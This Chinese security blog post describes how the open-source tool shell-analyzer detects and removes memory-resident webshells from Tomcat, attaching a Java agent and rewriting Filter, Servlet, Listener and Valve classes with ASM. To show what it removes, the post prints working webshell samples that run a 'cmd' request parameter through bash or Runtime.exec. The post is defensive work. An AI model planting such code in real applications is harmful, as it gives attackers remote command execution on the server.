内存马检测工具shell-analyzer(2)远程查杀实现
2023-2-15 02:12:15 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏

01 介绍

在上一篇文章里,我简单分享了工具的检测原理:

内存马检测工具shell-analyzer(1)最初版展示与设计思路

今天我将项目开源了,地址是:

https://github.com/4ra1n/shell-analyzer

本文将分享如何实现清除内存马,上文是“查”,本文是“杀”

02 远程

在上一篇文章中提到本工具的设计思路:

(1)将 Agent attach 到目标 Tomcat 上

(2)目标 Tomcat 通过 Socket 监听某个端口

(3)shell-analyzer 发送操作命令到该端口

(4)Tomcat 根据操作命令执行对应的逻辑并返回

当本地运行的时候,以上的逻辑足够;但远程检测的情况下,对端口进行基础的保护(自定义ObjectInputStream)之后,应该加入进一步的鉴权逻辑

Java Agent 支持参数,在 Attach 时加入参数

VirtualMachine vm = VirtualMachine.attach(pid);Path agentPath = Paths.get("agent.jar");String path = agentPath.toAbsolutePath().toString();// 密码参数vm.loadAgent(path,password);

通过 agentmain 入口的 agentArgs 参数即可拿到上文密码

public static void agentmain(String agentArgs, Instrumentation ins) {    if (agentArgs == null || agentArgs.trim().equals("")) {        return;    }    if (agentArgs.length() != 8) {        return;    }    PASSWORD = agentArgs;    // 。。。}

使用 <FILTERS> 等命令获取所有组件信息的时候,需要先进行验证,命令格式为:<FILTERS>PASSWORD (其他组件类似)

if (targetClass.startsWith("<FILTERS>")) {    String PASS = targetClass.split("<FILTERS>")[1];    if (!PASS.equals(Agent.PASSWORD)) {        System.out.println("!!! ERROR PASSWORD");        return;    }    List<String> classList = new ArrayList<>();    for (Class<?> c : Agent.staticClasses) {    //...    }  }

另外新增了 <KILL-X> 命令,允许指定任意类名,任意类型的组件,进行清除内存马操作,命令格式如下:<KILL-FILTER>PASSWORD|CLASSNAME

if (targetClass.startsWith("<KILL-FILTER>")) {    String f = targetClass.split("<KILL-FILTER>")[1];    // 密码验证    if (!f.split("\\|")[0].equals(Agent.PASSWORD)) {        System.out.println("!!! ERROR PASSWORD");        return;    }    f = f.split("\\|")[1];    System.out.println("kill filter: " + f);    FilterKill fk = new FilterKill(f);    for (Class<?> c : Agent.staticClasses) {        if (c.getName().equals(f)) {            Agent.staticIns.addTransformer(fk, true);            Agent.staticIns.retransformClasses(c);            Agent.staticIns.removeTransformer(fk);        }    }}

由于清除内存马的操作,需要 retransform class 操作,因此需要根据不同的组件类型,编写不同的 Transformer 类和字节码处理逻辑

通过 addTransformer 添加自定义的 Transformer 类,使用 retransformClasses 方法修改字节码,修改完成后通过 removeTransformer 方法移除新增的 Transformer 类使该类不会影响后续操作

对于远程查杀的情况,我编写了一个简易的 RemoteLoader 包,实际上只是封装了 Attach 指定 Agent 到本地 JVM 的一个方法

用户手动登录目标服务器,上传 remote.jar 与 agent.jar 后执行以下命令将准备好的 agent attach 到需要检测的 JVM 中,开始监听 10032 端口

java -cp /remote.jar:tools.jar com.n1ar4.RemoteLoader [PID] [PASSWORD]

在客户端 GUI 程序中,输入远程 IP 和对应的密码后,通过 Socket 发送封装好的数据到目标 10032 端口,即可实现对应的功能

清除内存马的 transforme 方法类似,使用 ASM ClassWriter 读取字节码,修改 JVM 指令后返回新的字节码,再进行 retransform 操作

@Overridepublic byte[] transform(ClassLoader loader,                        String className, Class<?> clsMemShell,                        ProtectionDomain protectionDomain,                        byte[] classfileBuffer) {    try {        className = className.replace("/", ".");        if (className.equals(this.className)) {            ClassReader cr = new ClassReader(classfileBuffer);            ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);            int api = Opcodes.ASM9;            ClassVisitor cv = new FilterKillClassVisitor(api, cw);            int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;            cr.accept(cv, parsingOptions);            return cw.toByteArray();        }    } catch (Exception ex) {        ex.printStackTrace();    }    return new byte[0];}

03 清除 Filter 类型

首先来分析最常见的 Filter 类型,这是网上流程的 Filter 内存马代码,可以发现执行完内存马逻辑后,调用 doFilter 方法继续传递

@Overridepublic void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)      throws IOException, ServletException {   HttpServletRequest req = (HttpServletRequest)arg0;   if (req.getParameter("cmd") != null) {      byte[] data = new byte[1024];      Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();      int len = p.getInputStream().read(data);      p.destroy();      arg1.getWriter().write(new String(data, 0, len));      return;   }   arg2.doFilter(arg0, arg1);}

由于在 Tomcat 中 Filters 是一条链,如果这一条链在中间断开,将会导致未知的问题,以至服务不可用。所以需要使用 filterChain.doFilter 方法传递

清空内存马的 Filter 代码应该如下

@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,                   FilterChain filterChain) throws IOException, ServletException {  filterChain.doFilter(servletRequest,servletResponse);}

不难写出对应的 ASM 代码,当我们分析到 Filter 类的 doFilter 方法时,将整个方法 Body 替换为以下部分,即可继续传递解决 Filter 内存马

if (mv != null && name.equals("doFilter") &&        descriptor.equals("(Ljavax/servlet/ServletRequest;" +                "Ljavax/servlet/ServletResponse;Ljavax/servlet/FilterChain;)V")) {    mv.visitCode();    mv.visitVarInsn(ALOAD, 3);    mv.visitVarInsn(ALOAD, 1);    mv.visitVarInsn(ALOAD, 2);    mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain",            "doFilter", "(Ljavax/servlet/ServletRequest;" +                    "Ljavax/servlet/ServletResponse;)V", true);    mv.visitInsn(RETURN);    mv.visitMaxs(3, 4);    mv.visitEnd();    return mv;}

顺便我处理了另一种情况,继承 HttpServlet 的 doFilter 方法,方法名一致不过参数不一致,代码逻辑和上文一致,都是调用第三个参数的 doFilter 方法以继续传递,压栈指令和方法调用指令一致

public class TestFilter extends HttpFilter {    @Override    protected void doFilter(HttpServletRequest req,                            HttpServletResponse res,                            FilterChain chain) throws IOException, ServletException {        chain.doFilter(req, res);    }}

04 清除 Servlet 类型

网传的 Servlet 内存马代码如下,继承 HttpServlet 后重写 doGet

@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {    String cmd;    if ((cmd = req.getParameter(cmdParamName)) != null) {        Process process = Runtime.getRuntime().exec(cmd);        java.io.BufferedReader bufferedReader = new java.io.BufferedReader(                new java.io.InputStreamReader(process.getInputStream()));        StringBuilder stringBuilder = new StringBuilder();        String line;        while ((line = bufferedReader.readLine()) != null) {            stringBuilder.append(line + '\n');        }        resp.getOutputStream().write(stringBuilder.toString().getBytes());        resp.getOutputStream().flush();        resp.getOutputStream().close();        return;    }}

对于 Servlet 来说不存在 Filter 的传递问题,所以直接 return 返回即可。不过需要注意,doPost doPut 等多个方法都有可能存在问题,修复方式一致

if (mv != null && (name.equals("doGet") || name.equals("doPost")        || name.equals("doDelete") || name.equals("doHead") || name.equals("doOptions")        || name.equals("doPut") || name.equals("doTrace")) &&        descriptor.equals("(Ljavax/servlet/http/HttpServletRequest;" +                "Ljavax/servlet/http/HttpServletResponse;)V")) {    mv.visitCode();    mv.visitInsn(RETURN);    mv.visitMaxs(0, 3);    mv.visitEnd();}

另外一种 Servlet 内存马应该是继承自 Servlet 接口的,实现 service 方法

@Overridepublic void service(ServletRequest servletRequest,                    ServletResponse servletResponse) throws ServletException, IOException {    return;}

这种情况的清除逻辑类似,直接返回

if (mv != null && name.equals("service") &&        descriptor.equals("(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V")) {    mv.visitCode();    mv.visitInsn(RETURN);    mv.visitMaxs(0, 3);    mv.visitEnd();    return mv;}

05 清除 Listener 类型

网传的 Listener 内存马代码如下,每创建一个 ServletRequest 对象都会调用 requestInitialized 方法,类似销毁调用 requestDestroyed 方法

public class ListenerDemo implements ServletRequestListener {    public void requestDestroyed(ServletRequestEvent sre) {        System.out.println("requestDestroyed");    }    public void requestInitialized(ServletRequestEvent sre) {        System.out.println("requestInitialized");        try{            String cmd = sre.getServletRequest().getParameter("cmd");            Runtime.getRuntime().exec(cmd);        }catch (Exception e ){        }    }}

我们只需要将 requestDestroyed 和 requestInitialized 方法返回空即可

MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);if (mv != null && (name.equals("requestDestroyed") || name.equals("requestInitialized")) &&        descriptor.equals("(Ljavax/servlet/ServletRequestEvent;)V")) {    mv.visitCode();    mv.visitInsn(RETURN);    mv.visitMaxs(0, 2);    mv.visitEnd();    return mv;}

06 清除 Valve 类型

网传的 Valve 内存马会导致服务不可用,因为这里有类似 Filter 的问题,需要进行继续传递,不能在某一个 Valve 中阻断,需要调用 getNext 并 invoke 调用下一个 Valve 的执行方法

@Overridepublic void invoke(Request request, Response response) throws IOException, ServletException {    String cmd = request.getParameter("cmd");    if (cmd !=null){        try{            Runtime.getRuntime().exec(cmd);        }catch (IOException e){            e.printStackTrace();        }catch (NullPointerException n){            n.printStackTrace();        }    }    // 网传内存马没有这一行会导致问题    getNext().invoke(request, response);}

被修复后的 Valve 内存马应该长这样

@Overridepublic void invoke(Request request, Response response)        throws IOException, ServletException {    this.getNext().invoke(request, response);}

JVM 指令是这样

if (mv != null && name.equals("invoke") &&        descriptor.equals("(Lorg/apache/catalina/connector/Request;" +                "Lorg/apache/catalina/connector/Response;)V")) {    mv.visitCode();    mv.visitVarInsn(ALOAD, 0);    mv.visitMethodInsn(INVOKEVIRTUAL, owner,            "getNext", "()Lorg/apache/catalina/Valve;", false);    mv.visitVarInsn(ALOAD, 1);    mv.visitVarInsn(ALOAD, 2);    mv.visitMethodInsn(INVOKEINTERFACE, "org/apache/catalina/Valve",            "invoke", "(Lorg/apache/catalina/connector/Request;" +                    "Lorg/apache/catalina/connector/Response;)V", true);    mv.visitInsn(RETURN);    mv.visitMaxs(3, 3);    mv.visitEnd();    return mv;}

07 清除 Java Agent 类型

由于各种原因,工具不打算集成 Java Agent 内存马的查杀

Agent 内存马查杀相对容易,使用 SA-JDI 的 HSDB 直接 dump 常见的几个类,然后使用 IDEA 等反编译工具即可得到 Java 代码

(1)javax/servlet/http/HttpServlet service

(2)org/apache/catalina/core/ApplicationFilterChain doFilter

(3)org/springframework/web/servlet/DispatcherServlet doService

(4)org/apache/tomcat/websocket/server/WsFilter doFilter

对以上这些常见类的方法进行分析,即可得到需要的结果

08 一些问题

工具目前存在几个明显的问题:

(0)虽然我举例用的是 Tomcat 容器,但只要是实现了 Servlet 规范的容器或中间件,理论上本工具都可以进行查杀(但 Valve 是 Tomcat 独有)

(1)动态 Agent 在罕见条件下会打崩 Tomcat 因此暂不要在生产环境测试,可以自己测试靶机来验证查杀内存马的效果

(2)虽然我已经自定义 ObjectInputStream 并加入密码来保护端口,但 Java 的反序列化机制本身不够安全,存在拒绝服务等问题。我为什么要使用 Java 原生序列化来传递数据呢?图个方便

(3)当你清除掉某个内存马后,其实你还是可以获得这个内存马类的字节码,因为通过 Java Agent 拿到的字节码不是真正的字节码,被 Java Agent 修改过的字节码不会变化,再次拿到的还是修改之前的字节码

(4)注意使用 JDK 而不是 JRE 来运行,以 Windows 为例,在 JRE 的 bin 目录中,不存在 attach.dll 等库,会导致无法 attach 和分析


文章来源: https://mp.weixin.qq.com/s?__biz=MzkzOTQzOTE1NQ==&mid=2247483709&idx=1&sn=8c8df6ff43370963f9aa95cbdb052785&chksm=c2f1a461f5862d77405cbe185ad026356c439e398c45d9b67cb6d49eb36a01971c10d9575711&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh